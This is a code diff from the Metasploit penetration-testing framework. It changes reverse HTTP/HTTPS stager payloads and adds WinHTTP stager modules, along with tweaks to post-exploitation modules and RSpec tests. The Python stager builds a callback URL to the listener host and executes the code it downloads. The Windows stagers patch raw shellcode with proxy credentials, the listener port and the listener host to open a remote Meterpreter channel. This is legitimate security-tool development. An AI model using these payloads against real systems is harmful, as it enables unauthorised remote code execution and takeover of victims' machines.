OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ])
], Msf::Handler::ReverseHttp)
OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]),
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ])
], self.class)
end
#
@ -41,21 +41,32 @@ module Metasploit3
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
}
target_url = 'http://'
target_url << lhost
if Rex::Socket.is_ipv6?(lhost)
target_url = "http://[#{lhost}]"
else
target_url = "http://#{lhost}"
end
target_url << ':'
target_url << datastore['LPORT'].to_s
target_url << '/'
target_url << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP)
target_url << generate_callback_uri
proxy_host = datastore['PayloadProxyHost'].to_s
proxy_port = datastore['PayloadProxyPort'].to_i
cmd = "import sys\n"
if datastore['PROXYHOST'].blank?
if proxy_host == ''
cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n"
else
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
"http://[#{proxy_host}]:#{proxy_port}" :
"http://#{proxy_host}:#{proxy_port}"
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n"
cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n"
end
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
cmd << "exec(o.open('#{target_url}').read())\n"
@ -66,4 +77,36 @@ module Metasploit3
b64_stub << "')))"
return b64_stub
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = cached_size
# Add 100 bytes for the encoder to have some room
space += 100
# Make room for the maximum possible URL length
space += 256
# The final estimated size
space
end
#
# Return the longest URL that fits into our available space
#
def generate_callback_uri
uri_req_len = 30 + rand(256-30)
# Generate the short default URL if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
uri_req_len = 5
end
generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP, uri_req_len)
end
end

View File

@ -10,7 +10,7 @@ require 'msf/core/payload/windows/reverse_http'
module Metasploit3
CachedSize = 306
CachedSize = 311
include Msf::Payload::Stager
include Msf::Payload::Windows

View File

@ -11,7 +11,7 @@ require 'msf/core/payload/windows/reverse_https'
module Metasploit3
CachedSize = 326
CachedSize = 331
include Msf::Payload::Stager
include Msf::Payload::Windows

View File

@ -82,70 +82,74 @@ module Metasploit3
p[i, u.length] = u
# patch proxy info
proxyhost = datastore['PROXYHOST'].to_s
proxyport = datastore['PROXYPORT'].to_s || "8080"
proxyhost = datastore['PayloadProxyHost'].to_s
proxyport = datastore['PayloadProxyPort'].to_s || "8080"
if Rex::Socket.is_ipv6?(proxyhost)
proxyhost = "[#{proxyhost}]"
end
proxyinfo = proxyhost + ":" + proxyport
if proxyport == "80"
proxyinfo = proxyhost
end
if datastore['PROXY_TYPE'].to_s == 'HTTP'
if datastore['PayloadProxyType'].to_s == 'HTTP'
proxyinfo = 'http://' + proxyinfo
else #socks
proxyinfo = 'socks=' + proxyinfo
end
proxyloc = p.index("PROXYHOST:PORT")
p = p.gsub("PROXYHOST:PORT",proxyinfo)
# patch the call
calloffset = proxyinfo.length
calloffset += 1
# Patch the call
calloffset = proxyinfo.length + 1
p[proxyloc-4] = [calloffset].pack('V')[0]
#Optional authentification
if (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
(datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or
datastore['PROXY_TYPE'] == 'SOCKS'
# Authentication credentials have not been specified
if datastore['PayloadProxyUser'].to_s == '' or
datastore['PayloadProxyPass'].to_s == '' or
datastore['PayloadProxyType'].to_s == 'SOCKS'
jmp_offset = p.index("PROXY_AUTH_STOP") + 15 - p.index("PROXY_AUTH_START")
#remove auth code
# Remove the authentication code
p = p.gsub(/PROXY_AUTH_START(.)*PROXY_AUTH_STOP/i, "")
else
username_size_diff = 14 - datastore['PROXY_USERNAME'].length
password_size_diff = 14 - datastore['PROXY_PASSWORD'].length
jmp_offset = 16 + #PROXY_AUTH_START length
15 + #PROXY_AUTH_STOP length
username_size_diff + # difference between datastore PROXY_USERNAME length and db "PROXY_USERNAME length"
password_size_diff # same with PROXY_PASSWORD
#patch call offset
username_size_diff = 14 - datastore['PayloadProxyUser'].to_s.length
password_size_diff = 14 - datastore['PayloadProxyPass'].to_s.length
jmp_offset =
16 + # PROXY_AUTH_START length
15 + # PROXY_AUTH_STOP length
username_size_diff + # Difference between datastore PayloadProxyUser length and db "PayloadProxyUser length"
password_size_diff # Same with PayloadProxyPass
# Patch call offset
username_loc = p.index("PROXY_USERNAME")
p[username_loc - 4, 4] = [15 - username_size_diff].pack("V")
password_loc = p.index("PROXY_PASSWORD")
p[password_loc - 4, 4] = [15 - password_size_diff].pack("V")
#remove markers & change login/pwd
# Remove markers & change login/password
p = p.gsub("PROXY_AUTH_START","")
p = p.gsub("PROXY_AUTH_STOP","")
p = p.gsub("PROXY_USERNAME", datastore['PROXY_USERNAME'])
p = p.gsub("PROXY_PASSWORD", datastore['PROXY_PASSWORD'])
p = p.gsub("PROXY_USERNAME", datastore['PayloadProxyUser'].to_s)
p = p.gsub("PROXY_PASSWORD", datastore['PayloadProxyPass'].to_s)
end
#patch jmp dbl_get_server_host
# Patch jmp dbl_get_server_host
jmphost_loc = p.index("\x68\x3a\x56\x79\xa7\xff\xd5") + 8 # push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) ; call ebp
p[jmphost_loc, 4] = [p[jmphost_loc, 4].unpack("V")[0] - jmp_offset].pack("V")
#patch call Internetopen
# Patch call Internetopen
p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("V")[0] + jmp_offset].pack("V")
# patch the LPORT
lport = datastore['LPORT']
# Patch the LPORT
lportloc = p.index("\x68\x5c\x11\x00\x00") # PUSH DWORD 4444
p[lportloc+1] = [lport.to_i].pack('V')[0]
p[lportloc+2] = [lport.to_i].pack('V')[1]
p[lportloc+3] = [lport.to_i].pack('V')[2]
p[lportloc+4] = [lport.to_i].pack('V')[3]
p[lportloc+1,4] = [datastore['LPORT'].to_i].pack('V')
# append LHOST and return payload
lhost = datastore['LHOST']
p + lhost.to_s + "\x00"
# Append LHOST and return payload
p + datastore['LHOST'].to_s + "\x00"
end

View File

@ -0,0 +1,39 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_http'
require 'msf/core/payload/windows/reverse_winhttp'
module Metasploit3
CachedSize = 325
include Msf::Payload::Stager
include Msf::Payload::Windows
include Msf::Payload::Windows::ReverseWinHttp
def self.handler_type_alias
"reverse_winhttp"
end
def initialize(info = {})
super(merge_info(info,
'Name' => 'Reverse HTTP Stager (WinHTTP)',
'Description' => 'Tunnel communication over HTTP (WinHTTP)',
'Author' =>
[
'hdm',
'Borja Merino <bmerinofe[at]gmail.com>'
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseHttp,
'Convention' => 'sockedi http'))
end
end

View File

@ -0,0 +1,39 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_https'
require 'msf/core/payload/windows/reverse_winhttps'
module Metasploit3
CachedSize = 345
include Msf::Payload::Stager
include Msf::Payload::Windows
include Msf::Payload::Windows::ReverseWinHttps
def self.handler_type_alias
"reverse_winhttps"
end
def initialize(info = {})
super(merge_info(info,
'Name' => 'Reverse HTTPS Stager (WinHTTP)',
'Description' => 'Tunnel communication over HTTP using SSL (WinHTTP)',
'Author' =>
[
'hdm',
'Borja Merino <bmerinofe[at]gmail.com>'
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseHttps,
'Convention' => 'sockedi https'))
end
end

View File

@ -85,7 +85,7 @@ module Metasploit3
"\xA4\x53\xE5\x00\x00\x00\x00\xFF\xD5\x48\x93\x53\x53\x48\x89\xE7" +
"\x48\x89\xF1\x48\x89\xDA\x49\xB8\x00\x20\x00\x00\x00\x00\x00\x00" +
"\x49\x89\xF9\x49\xBA\x12\x96\x89\xE2\x00\x00\x00\x00\xFF\xD5\x48" +
"\x83\xC4\x20\x85\xC0\x74\x99\x48\x8B\x07\x48\x01\xC3\x48\x85\xC0" +
"\x83\xC4\x20\x85\xC0\x74\x99\x66\x8B\x07\x48\x01\xC3\x48\x85\xC0" +
"\x75\xCE\x58\x58\xC3" +
"\xE8\xD7\xFE\xFF\xFF" #updated jump offset
}

View File

@ -127,19 +127,18 @@ class Metasploit3 < Msf::Post
"n" => "p" , "m" => "q" , "l" => "r" , "k" => "s" , "j" => "t" ,
"i" => "u" , "h" => "v" , "P" => "w" , "Q" => "x" , "R" => "y" ,
"o" => "z" , "p" => "A" , "q" => "B" , "r" => "C" , "t" => "D" ,
"s" => "E" , "L" => "F" , "N" => "G" , "M" => "H" , "O" => "I" ,
"N" => "J" , "J" => "K" , "v" => "L" , "u" => "M" , "z" => "N" ,
"y" => "O" , "w" => "P" , "x" => "Q" , "G" => "R" , "H" => "S" ,
"A" => "T" , "B" => "U" , "D" => "V" , "C" => "W" , "E" => "X" ,
"F" => "Y" , "I" => "Z" , "?" => "1" , "3" => "2" , "4" => "3" ,
"5" => "4" , "6" => "5" , "7" => "6" , "8" => "7" , "9" => "8" ,
"2" => "9" , "." => "0" , "+" => "+" , "\"" => "\"" , "*" => "*" ,
"%" => "%" , "&" => "&" , "Z" => "/" , "(" => "(" , ")" => ")" ,
"=" => "=" , "," => "?" , "!" => "!" , "$" => "$" , "-" => "-" ,
"_" => "_" , "b" => ":" , "0" => "." , ";" => ";" , "1" => "," ,
"\\" => "\\" , "a" => "<" , "Y" => ">" , "'" => "'" , "^" => "^" ,
"{" => "{" , "}" => "}" , "[" => "[" , "]" => "]" , "~" => "~" ,
"`" => "`"
"s" => "E" , "L" => "F" , "M" => "H" , "O" => "I" , "N" => "J" ,
"J" => "K" , "v" => "L" , "u" => "M" , "z" => "N" , "y" => "O" ,
"w" => "P" , "x" => "Q" , "G" => "R" , "H" => "S" , "A" => "T" ,
"B" => "U" , "D" => "V" , "C" => "W" , "E" => "X" , "F" => "Y" ,
"I" => "Z" , "?" => "1" , "3" => "2" , "4" => "3" , "5" => "4" ,
"6" => "5" , "7" => "6" , "8" => "7" , "9" => "8" , "2" => "9" ,
"." => "0" , "+" => "+" , "\"" => "\"" , "*" => "*" , "%" => "%" ,
"&" => "&" , "Z" => "/" , "(" => "(" , ")" => ")" , "=" => "=" ,
"," => "?" , "!" => "!" , "$" => "$" , "-" => "-" , "_" => "_" ,
"b" => ":" , "0" => "." , ";" => ";" , "1" => "," , "\\" => "\\" ,
"a" => "<" , "Y" => ">" , "'" => "'" , "^" => "^" , "{" => "{" ,
"}" => "}" , "[" => "[" , "]" => "]" , "~" => "~" , "`" => "`"
}
password=''
for letter in encrypted_password.chomp.each_char

View File

@ -41,7 +41,7 @@ class Metasploit3 < Msf::Post
# the correct program files folder.
# We will just use an x64 only defined env variable to check.
progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
progfilesx86 = prog_files_env['ProgramFiles(X86)']
progfilesx86 = progfiles_env['ProgramFiles(X86)']
if not progfilesx86.empty? and progfilesx86 !~ /%ProgramFiles\(X86\)%/
progs = progfilesx86 # x64
else

View File

@ -94,10 +94,12 @@ class Metasploit3 < Msf::Post
end
def read(size)
vprint_debug("Reading #{size} bytes")
client.railgun.kernel32.ReadFile(@handle, size, size, 4, nil)['lpBuffer']
end
def seek(offset)
vprint_debug("Seeking to offset #{offset}")
high_offset = offset >> 32
low_offset = offset & (2**33 - 1)
client.railgun.kernel32.SetFilePointer(@handle, low_offset, high_offset, 0)

View File

@ -123,8 +123,8 @@ def write_script_to_target(target_dir,vbs)
fd.write(vbs)
fd.close
print_good("Persistent Script written to #{tempvbs}")
tempvbs = tempvbs.gsub(/\\/, '//') # Escape windows pathname separators.
file_local_write(@clean_up_rc, "rm #{tempvbs}\n")
# Escape windows pathname separators.
file_local_write(@clean_up_rc, "rm #{tempvbs.gsub(/\\/, '//')}\n")
return tempvbs
end

View File

@ -0,0 +1,34 @@
require 'rex/post/meterpreter/extensions/stdapi/sys/registry'
RSpec.describe Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Registry do
describe '.type2str' do
subject { described_class.type2str(type) }
context "with 'REG_BINARY'" do
let(:type) { 'REG_BINARY' }
it { should eq(3) }
end
context "with 'REG_DWORD'" do
let(:type) { 'REG_DWORD' }
it { should eq(4) }
end
context "with 'REG_EXPAND_SZ'" do
let(:type) { 'REG_EXPAND_SZ' }
it { should eq(2) }
end
context "with 'REG_MULTI_SZ'" do
let(:type) { 'REG_MULTI_SZ' }
it { should eq(7) }
end
context "with 'REG_NONE'" do
let(:type) { 'REG_NONE' }
it { should eq(0) }
end
context "with 'REG_SZ'" do
let(:type) { 'REG_SZ' }
it { should eq(1) }
end
end
end

View File

@ -3725,4 +3725,26 @@ describe 'modules/payloads', :content do
modules_pathname: modules_pathname,
reference_name: 'windows/vncinject/bind_hidden_ipknock_tcp'
end
context 'windows/meterpreter/reverse_winhttp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'stagers/windows/reverse_winhttp',
'stages/windows/meterpreter'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'windows/meterpreter/reverse_winhttp'
end
context 'windows/meterpreter/reverse_winhttps' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'stagers/windows/reverse_winhttps',
'stages/windows/meterpreter'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'windows/meterpreter/reverse_winhttps'
end
end

View File

@ -61,7 +61,7 @@ File.open('log/untested-payloads.log') { |f|
$stderr.puts
$stderr.puts " context '#{reference_name}' do\n" \
" it_should_behave_like 'payload can be instantiated',\n" \
" it_should_behave_like 'payload cached size is consistent',\n" \
" ancestor_reference_names: ["
ancestor_reference_names = options[:ancestor_reference_names]
@ -74,6 +74,7 @@ File.open('log/untested-payloads.log') { |f|
end
$stderr.puts " ],\n" \
" dynamic_size: false,\n" \
" modules_pathname: modules_pathname,\n" \
" reference_name: '#{reference_name}'\n" \
" end"